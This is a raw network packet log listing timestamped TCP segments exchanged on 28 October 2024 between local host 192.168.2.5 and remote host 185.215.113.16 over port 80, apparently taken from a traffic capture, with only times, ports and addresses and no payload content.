Oct 28, 2024 21:40:15.428469896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.428517103 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.428877115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.429313898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.429364920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.429389000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.429425955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.429471016 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.430078983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.430114031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.430165052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.430530071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.430726051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.430777073 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.431186914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.431396008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.431444883 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.431880951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.432049036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.432100058 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.432585955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.433037996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.433094025 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.433356047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.433659077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.433707952 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.434048891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.434195995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.434243917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.434775114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.434999943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.435050964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.435425043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.435673952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.435722113 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.436862946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.436896086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.436932087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.436945915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.437320948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.437350035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.437376976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.485676050 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.554312944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.554333925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.554351091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.554435015 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.555839062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.555855989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.555871010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.555907011 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.555963993 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.611774921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.611820936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.611877918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.612001896 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.612665892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.612701893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.612720013 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.614172935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.614209890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.614239931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.615113974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.615168095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.615169048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.616014004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.616051912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.616070032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.617480040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.617516041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.617543936 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.617549896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.617609024 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.618092060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.618128061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.618171930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.618923903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.618959904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.619009972 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.620028019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.620064020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.620121002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.621139050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.621176004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.621210098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.621232986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.622320890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.622359037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.622389078 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.623496056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.623533010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.623553038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.628588915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.631756067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.636169910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.636229038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.636296034 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.641875982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.641915083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.641948938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.641966105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.642637968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.642674923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.642683029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.644072056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.644109964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.644134998 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.645185947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.645221949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.645253897 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.646555901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.646594048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.646615982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.648185015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.648237944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.648253918 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.648271084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.648319006 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.650285006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.650319099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.650377035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.652411938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.652448893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.652504921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.653522015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.653558016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.653606892 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.654983044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.655019045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.655051947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.655076027 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.656317949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.656356096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.656377077 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.657603025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.657654047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.659066916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.659120083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.659153938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.659172058 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.668631077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.668668032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.668704033 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.673425913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.673463106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.673477888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.674643993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.674679995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.674691916 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.674715042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.674762964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.689080954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.690028906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.690063000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.690114021 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.691185951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.691220999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.691253901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.693309069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.693387985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.693474054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.697041035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.697077036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.697108984 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.698206902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.698242903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.698265076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.700128078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.700164080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.700186014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.700196981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.700231075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.700247049 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.719355106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.719408035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.721313953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.721349955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.721405029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.734766006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.735131025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.735183001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.735182047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.736340046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.736373901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.736393929 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.737826109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.737862110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.737879038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.739200115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.739234924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.739258051 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.740792036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.740827084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.740844011 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.742115974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.742151976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.742178917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.742183924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.742227077 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.743573904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.743607998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.743654013 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.744879007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.744932890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.744987011 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.745915890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.745933056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.745991945 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.747046947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.747062922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.747076988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.747134924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.748281956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.748301029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.748342037 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.749403000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.749418974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.749449968 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.750567913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.750585079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.750617981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.751676083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.751693010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.751739979 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.752878904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.752896070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.752909899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.752933025 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.752994061 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.753776073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.753794909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.753837109 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.755114079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.755131006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.755177021 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.755902052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.755919933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.755968094 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.756880045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.756896973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.756911993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.756964922 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.758284092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.758305073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.758338928 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.759999990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.760016918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.760051012 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.762993097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.763036966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.763111115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.764631987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.764647961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.764663935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.764673948 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.764681101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.764695883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.764699936 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.764713049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.764745951 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.764792919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.764832973 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.765559912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.765734911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.765774012 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.766460896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.766477108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.766520023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.767488003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.767512083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.767529011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.767554998 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.768860102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.768877029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.768914938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.771048069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.771064997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.771107912 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.772232056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.772248983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.772279024 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.773652077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.773703098 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.773804903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.774075031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.774091005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.774106026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.774122953 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.774146080 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.774813890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.774857998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.774907112 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.779252052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.779289007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.779336929 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.779407024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.779450893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.779495955 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.780916929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.780952930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.780986071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.781004906 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.782488108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.782525063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.782547951 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.783859968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.783906937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.784549952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.784584999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.784991026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.786544085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.786580086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.786611080 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.787924051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.787960052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.787978888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.788000107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.788044930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.789000034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.789146900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.789194107 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.790128946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.790169954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.790213108 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.791937113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.807106972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.807173014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.807761908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.807799101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.807851076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.809242010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.809257984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.809324980 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.810920000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.810957909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.811007977 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.811602116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.811619043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.811634064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.811671972 CET	49712	80	192.168.2.5	185.215.113.16
